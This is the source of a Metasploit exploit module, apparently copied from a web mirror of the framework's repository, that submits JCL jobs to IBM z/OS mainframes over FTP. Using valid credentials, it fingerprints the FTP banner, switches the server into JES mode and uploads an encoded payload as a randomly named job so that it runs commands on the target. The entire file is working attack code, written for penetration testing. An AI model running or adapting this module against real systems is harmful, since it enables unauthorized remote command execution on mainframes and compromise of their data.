Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = NormalRanking89include Msf::Exploit::Remote::Ftp10include Msf::Exploit::Remote::Tcp1112def initialize(info = {})13super(update_info(14info,15'Name' => 'FTP JCL Execution',16'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.17This exploit requires valid credentials on the target system)},18'Author' =>19[20'Bigendian Smalls',21'mainframed a.k.a. soldier of fortran',22'S&Oxballs a.k.a. chiefascot'23],24'Arch' => ARCH_CMD,25'License' => MSF_LICENSE,26'Platform' => ['mainframe'],27'Privileged' => false,28'Targets' => [['Automatic', {}]],29'DisclosureDate' => '2013-05-12',30'DisableNops' => 'true',31'DefaultTarget' => 032))3334register_options(35[36Opt::RPORT(21),37OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ])38], self.class39)40end4142def post_auth?43true44end4546def check47##48# Connect to get the FTP banner and check target OS49##50if !connect_login51fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")52else53print_good("Successfully connected to FTP server.")54end55test_jes = send_cmd(['site', 'file=jes'])5657# Disconnect and check cached self.banner58disconnect5960##61# Check if the target system has an FTP server running on z/OS"62##63case banner64when /IBM FTP CS V.R./65case test_jes66when /200 SITE/67print_status("Found IBM z/OS Banner and JES commands accepted")68return Exploit::CheckCode::Vulnerable69else70print_error("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")71return Exploit::CheckCode::Detected72end7374##75# Return the Safe flag if system is not exploitable76##77else78print_status("We could not recognize the server banner: #{banner.strip}")79return Exploit::CheckCode::Safe80end81end8283##84# Exploit the target system by submitting a JCL job via FTP85##86def exploit87if !connect_login88fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server")89else90print_good("Successfully connected to FTP server.")91end9293send_cmd(['site', 'file=jes'])94print_good("Successfully switched to JES mode")9596jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"97print_status("Uploading JCL file: #{jcl_file_name}")9899res = send_cmd_data(['put', jcl_file_name], payload.encoded)100if res.nil?101fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")102end103104job_num = res.lines.first.split.last105print_good("Job Submitted. Job number is #{job_num}")106107handler108disconnect109end110end111112113